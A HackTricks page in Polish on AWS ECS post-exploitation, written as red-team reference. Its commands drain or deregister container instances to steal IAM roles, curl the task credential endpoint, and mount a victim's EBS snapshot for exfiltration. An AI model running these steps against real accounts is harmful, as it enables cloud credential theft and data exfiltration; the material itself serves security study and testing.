AWS - ECS Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

ECS

Aby uzyskać więcej informacji, sprawdź:

AWS - ECS Enum

Role IAM hosta

W ECS można przypisać rolę IAM do taska uruchomionego w kontenerze. Jeśli task jest uruchamiany na instancji EC2, instancja EC2 będzie miała przypisaną inną rolę IAM.
To oznacza, że jeśli uda ci się przejąć instancję ECS, możesz potencjalnie uzyskać rolę IAM powiązaną z ECR i z instancją EC2. Aby uzyskać więcej informacji o tym, jak zdobyć te poświadczenia, zobacz:

Cloud SSRF - HackTricks

Caution

IMDSv2 z limitem hop = 1 nie blokuje awsvpc ani host-networked tasks — tylko Docker bridge tasks są wystarczająco daleko, by odpowiedzi wygasały. Zobacz ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation dla pełnego przebiegu ataku i uwag dotyczących obejść. Niedawne Latacora research pokazuje, że awsvpc i host tasks wciąż pobierają poświadczenia hosta nawet gdy IMDSv2+h=1 jest wymuszone.

Privesc to node to steal other containers creds & secrets

A co więcej, EC2 używa docker do uruchamiania tasków ECS, więc jeśli uda ci się uciec na node lub uzyskać dostęp do docker socket, możesz sprawdzić, które inne kontenery są uruchomione, a nawet dostać się do nich i ukraść przypisane im role IAM.

Wymuszenie uruchomienia kontenerów na bieżącym hoście

Co więcej, rola instancji EC2 zwykle ma wystarczające uprawnienia, by zaktualizować container instance state instancji EC2 używanych jako node’y w klastrze. Atakujący może zmodyfikować stan instancji na DRAINING, wtedy ECS usunie z niej wszystkie taski, a te uruchamiane jako REPLICA zostaną uruchomione na innej instancji, potencjalnie na instancji atakującego, dzięki czemu będzie mógł ukraść ich role IAM oraz potencjalnie wrażliwe informacje znajdujące się w kontenerze.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ta sama technika może być wykonana przez deregistering the EC2 instance from the cluster. Jest to potencjalnie mniej stealthy, ale to spowoduje, że force the tasks to be run in other instances:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Ostatnia technika, aby wymusić ponowne uruchomienie zadań, polega na wskazaniu ECS, że task lub container został zatrzymany. Są 3 potencjalne API, aby to zrobić:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Dołącz do klastra z hostem atakującego (Register Container Instance)

Inną odmianą (bardziej bezpośrednią niż draining) jest dodanie kontrolowanej przez ciebie pojemności do klastra poprzez zarejestrowanie instancji EC2 jako container instance (ecs:RegisterContainerInstance) i ustawienie wymaganych atrybutów container instance tak, aby placement constraints pasowały. Gdy tasks trafią na twój host, możesz inspect/exec do kontenerów i pozyskać poświadczenia AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Zobacz stronę ECS privesc, sekcję ecs:RegisterContainerInstance, aby uzyskać pełny przebieg.

Steal sensitive info from ECR containers

Instancja EC2 prawdopodobnie będzie również miała uprawnienie ecr:GetAuthorizationToken, pozwalające na pobieranie obrazów (możesz przeszukać w nich wrażliwe informacje).

Steal Task Role Credentials via ecs:ExecuteCommand

Jeśli ExecuteCommand jest włączone dla taska, principal posiadający ecs:ExecuteCommand + ecs:DescribeTasks może otworzyć shell wewnątrz uruchomionego kontenera, a następnie zapytać endpoint poświadczeń zadania, aby pozyskać poświadczenia roli zadania:

  • Ze środka kontenera: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Użyj zwróconego AccessKeyId/SecretAccessKey/Token do wywołań API AWS jako task role

Zobacz stronę ECS privilege escalation po przykłady enumeracji i poleceń.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Nadużyj natywnej integracji ECS EBS (2024+), aby zamontować zawartość istniejącego snapshotu EBS bezpośrednio w nowym zadaniu/usłudze ECS i odczytać jego dane z wnętrza kontenera.

  • Wymaga (minimum):

  • ecs:RegisterTaskDefinition

  • Jedno z: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole na:

  • ECS infrastructure role używany dla wolumenów (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referencjonowane w task definition

  • Jeśli snapshot jest zaszyfrowany CMK: uprawnienia KMS dla roli infra (zarządzana przez AWS polityka powyżej zawiera wymagane KMS grants dla AWS managed keys).

  • Wpływ: Odczyt dowolnej zawartości dysku ze snapshotu (np. pliki bazy danych) wewnątrz kontenera i exfiltrate przez sieć/logi.

Kroki (przykład Fargate):

  1. Utwórz ECS infrastructure role (jeśli nie istnieje) i dołącz zarządzaną politykę:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Zarejestruj task definition z woluminem oznaczonym jako configuredAtLaunch i zamontuj go w containerze. Przykład (wypisuje sekret, a następnie śpi):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Utwórz lub zaktualizuj usługę, przekazując snapshot EBS przez volumeConfigurations.managedEBSVolume (wymaga iam:PassRole na roli infra). Przykład:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Gdy zadanie się uruchomi, kontener może odczytać zawartość snapshotu w skonfigurowanej ścieżce montowania (np. /loot). Exfiltrate via the task’s network/logs.

Czyszczenie:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks